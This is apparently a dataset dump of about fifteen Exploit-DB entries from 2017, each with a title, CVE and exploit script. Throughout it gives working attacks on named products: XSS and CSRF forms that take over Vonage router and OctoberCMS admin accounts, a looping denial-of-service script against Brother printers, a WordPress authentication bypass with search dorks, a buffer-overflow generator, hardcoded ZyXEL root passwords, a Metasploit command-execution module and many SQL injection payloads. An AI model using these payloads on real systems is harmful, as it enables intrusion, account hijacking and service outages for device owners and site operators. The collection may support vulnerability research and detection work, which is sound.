QLWD/code_shield huggingface dataset:
标题: Vonage VDV23 - Cross-Site Scripting EDB-ID: 43150 CVE: 2017-16843 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-11-16 漏洞利用脚本: # Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843



NewKeyword Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these keywords text box enter: test”><script>alert(1)</script>
5. Click the add keyword button to receive the pop up. 


NewDomain Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these websites text box enter: test”><script>alert(1)</script>
5. Click the add domain button to receive the pop up.

Proof of concept code:

NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>

NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html> URL: https://www.exploit-db.com/exploits/43150
标题: Logitech Media Server 7.9.0 - 'Radio URL' Cross-Site Scripting EDB-ID: 43123 CVE: 2017-16568 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-11-03 漏洞利用脚本: # Exploit Title: Logitech Media Server : HTML code injection and execution.
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.
 
 
 
POC:
 
1. Access and go to the Radio URL tab and add a new URL.
2. Add script as the value of the field.
3. Payload : <script> alert(1)</script>
4. Script saved and gives an image msg with a javascript execution on image click.
5. Therefore, Persistent XSS. URL: https://www.exploit-db.com/exploits/43123
标题: Logitech Media Server 7.9.0 - 'favorites' Cross-Site Scripting EDB-ID: 43122 CVE: 2017-16567 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-11-03 漏洞利用脚本: # Exploit Title: Logitech Media Server : Persistent Cross Site Scripting(XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Software Link: [download link if available]
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.



POC:

Access and go to the favorites tab and add a new favorite.
Add script as the value of the field.
Payload : <script> alert(1)</script>
Script saved and gives a pop-up to user every time they access that page.
Therefore, Persistent XSS. URL: https://www.exploit-db.com/exploits/43122
标题: Debut Embedded HTTPd 1.20 - Denial of Service EDB-ID: 43119 CVE: 2017-16249 类型: DOS 平台: HARDWARE 发布日期: 2017-11-02 漏洞利用脚本: # Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error.  While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:

#!/usr/bin/python
import socket
import sys

target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")

payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"

print "[*] Starting DOS.  Payload will be sent every time the server responds."
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.connect((target,int(port)))
        print "[*] Sending DOS payload"
        s.send(payload)
        # Wait for server to respond with 500 error
        s.recv(4096)
        s.close()
    except:
        print("[!] Can't connect to target")
        sys.exit() URL: https://www.exploit-db.com/exploits/43119
标题: WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass EDB-ID: 43117 CVE: 2017-16562 类型: WEBAPPS 平台: PHP 发布日期: 2017-11-04 漏洞利用脚本: # Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet.

Description
================================================================================
 The userpro plugin has the ability to bypass login authentication for the user
 'admin'. If the site does not use the standard username 'admin' it is not affected.
   
PoC
================================================================================
1 - Google Dork inurl:/plugins/userpro

2 - Browse to a site that has the userpro plugin installed.

3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true

4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
will full administrator access.
================================================================================

10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure. URL: https://www.exploit-db.com/exploits/43117
标题: OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery EDB-ID: 43106 CVE: 2017-16244 类型: WEBAPPS 平台: PHP 发布日期: 2017-11-01 漏洞利用脚本: # Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
 
1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16244
https://vuldb.com/?id.108857 

2. Proof of Concept
 Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
 
3. Reference
 
   https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
   https://vuldb.com/?id.108857

4. Solution
 
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0). URL: https://www.exploit-db.com/exploits/43106
标题: Ipswitch WS_FTP Professional < 12.6.0.3 - Local Buffer Overflow (SEH) EDB-ID: 43115 CVE: 2017-16513 类型: DOS 平台: WINDOWS 发布日期: 2017-11-03 漏洞利用脚本: #!/usr/bin/python
#Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH)
#Author: Kevin McGuigan. Twitter: @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.ipswitch.com
#Date: 03/11/2017
#Version: 12.6.03
#CVE: CVE-2017-16513
#Tested on: Windows 7 32-bit
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode. 
#nSEH = "\x74\x08\x90\x90" 
#SEH = "\x31\x2D\x91\x23"

buffer = "A" * 840
nSEH = "B" * 4
SEH = "C" * 4


f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH + "D" * 200)
f.close() URL: https://www.exploit-db.com/exploits/43115
标题: ZyXEL PK5001Z Modem - Backdoor Account EDB-ID: 43105 CVE: 2016-10401 类型: REMOTE 平台: HARDWARE 发布日期: 2017-10-31 漏洞利用脚本: # Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password.
# Google Dork: n/a
# Date: 2017-10-31
# Exploit Author: Matthew Sheimo
# Vendor Homepage: https://www.zyxel.com/
# Software Link: n/a
# Version: PK5001Z 2.6.20.19
# Tested on: Linux
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world. 
# Linked CVE's: CVE-2016-10401
 
 
Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet
 
username: admin
password: CenturyL1nk
 
Escalate to root with 'su' and this password.

password: zyad5001


[root:/]# telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

PK5001Z login: admin
Password: CenturyL1nk
$ whoami
admin_404A03Tel
$ su
Password: zyad5001
# whoami
root
# uname -a
Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown
# cat /etc/zyfwinfo
Vendor Name:                      ZyXEL Communications Corp. URL: https://www.exploit-db.com/exploits/43105
标题: tnftp - 'savefile' Arbitrary Command Execution (Metasploit) EDB-ID: 43112 CVE: 2014-8517 类型: REMOTE 平台: UNIX 发布日期: 2017-11-03 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'tnftp "savefile" Arbitrary Command Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution vulnerability in
        tnftp's handling of the resolved output filename - called "savefile" in
        the source - from a requested resource.

        If tnftp is executed without the -o command-line option, it will resolve
        the output filename from the last component of the requested resource.

        If the output filename begins with a "|" character, tnftp will pass the
        fetched resource's output to the command directly following the "|"
        character through the use of the popen() function.
      },
      'Author' => [
        'Jared McNeill', # Vulnerability discovery
        'wvu' # Metasploit module
      ],
      'References' => [
        ['CVE', '2014-8517'],
        ['URL', 'http://seclists.org/oss-sec/2014/q4/459']
      ],
      'DisclosureDate' => 'Oct 28 2014',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'Payload' => {'BadChars' => '/'},
      'Targets' => [['ftp(1)', {}]],
      'DefaultTarget' => 0
    ))
  end

  def on_request_uri(cli, request)
    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
      print_status("#{request['User-Agent']} connected")
      send_not_found(cli)
      return
    end

    if request.uri.ends_with?(sploit)
      send_response(cli, '')
      print_good("Executing `#{payload.encoded}'!")
      report_vuln(
        :host => cli.peerhost,
        :name => self.name,
        :refs => self.references,
        :info => request['User-Agent']
      )
    else
      print_status("#{request['User-Agent']} connected")
      print_status('Redirecting to exploit...')
      send_redirect(cli, sploit_uri)
    end
  end

  def sploit_uri
    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
      Rex::Text.uri_encode(sploit, 'hex-all')
  end

  def sploit
    "|#{payload.encoded}"
  end
end URL: https://www.exploit-db.com/exploits/43112
标题: D-Park Pro 1.0 - SQL Injection EDB-ID: 43101 CVE: 2017-15958 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: <!--
# # # # # 
# Exploit Title: D-Park Pro Domain Parking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.domainzaar.com/
# Software Link: http://www.domainzaar.com/
# Demo: http://www.d-park-pro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15958
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# # # # #
-->
<form id="loginform" action="http://localhost/[PATH]/admin/loginform.php" method="post">
<label for="form_username">Username:</label>
<input type="text" name="username" value="' UNION ALL SELECT 0x31,0x32,0x33,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari" />
<label for="form_password">Password:</label>
<input type="password" name="password" id="form_password" />
<input name="login" value="Log In" type="submit">
</form> URL: https://www.exploit-db.com/exploits/43101
标题: iStock Management System 1.0 - Arbitrary File Upload EDB-ID: 43097 CVE: 2017-15962 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: iStock Management System 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://ikodes.com/
# Software Link: https://codecanyon.net/item/istock-management-system/20405084
# Demo: http://project.ikodes.com/basicims/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15962
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users upload arbitrary file....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/user/profile
# http://localhost/[PATH]//assets/images/[FILE]
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43097
标题: Ingenious 2.3.0 - Arbitrary File Upload EDB-ID: 43102 CVE: 2017-15957 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Ingenious School Management System 2.3.0 - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15957
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an student,teacher upload arbitrary file....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/my_profile.php
# http://localhost/[PATH]/view/teacher_profile2.php
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43102
标题: PHP CityPortal 2.0 - SQL Injection EDB-ID: 43089 CVE: 2017-15970 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: PHP CityPortal 2.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpcityportal.com/
# Software Link: http://www.phpcityportal.com/index.php
# Demo: http://phpcityportal.com/demo
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15970
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# Parameter: cat (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
#     Payload: cat=1' OR NOT 6616=6616#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: cat=1' OR SLEEP(5)-- cCQQ
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43089
标题: MyBuilder Clone 1.0 - 'subcategory' SQL Injection EDB-ID: 43091 CVE: 2017-15968 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43091
标题: Job Board Script - 'nice_theme' SQL Injection EDB-ID: 43095 CVE: 2017-15964 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Job Board Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.nicephpscripts.com/
# Software http://www.nicephpscripts.com/job_board_script.htm
# Demo: http://www.nicephpscripts.com/scripts/faqscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15964
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?nice_theme=[SQL]
# 
# Parameter: nice_theme (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: nice_theme=2 AND 9686=9686
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: nice_theme=2 AND SLEEP(5)
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43095
标题: Article Directory Script 3.0 - 'id' SQL Injection EDB-ID: 43099 CVE: 2017-15960 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Article Directory Script 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.yourarticlesdirectory.com/
# Software Link: http://www.yourarticlesdirectory.com/
# Demo: http://www.yourarticlesdirectory.com/livedemo.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15960
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/category.php?id=[SQL]
# 
# 18++/*!02222UniOn*/+(/*!02222SeleCt*/+0x283129,/*!02222CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,0x283429,0x3078323833353239)--+-
# 
# http://localhost/[PATH]/author.php?id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=18 AND 8646=8646
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=18 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=27 AND SLEEP(5)
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43099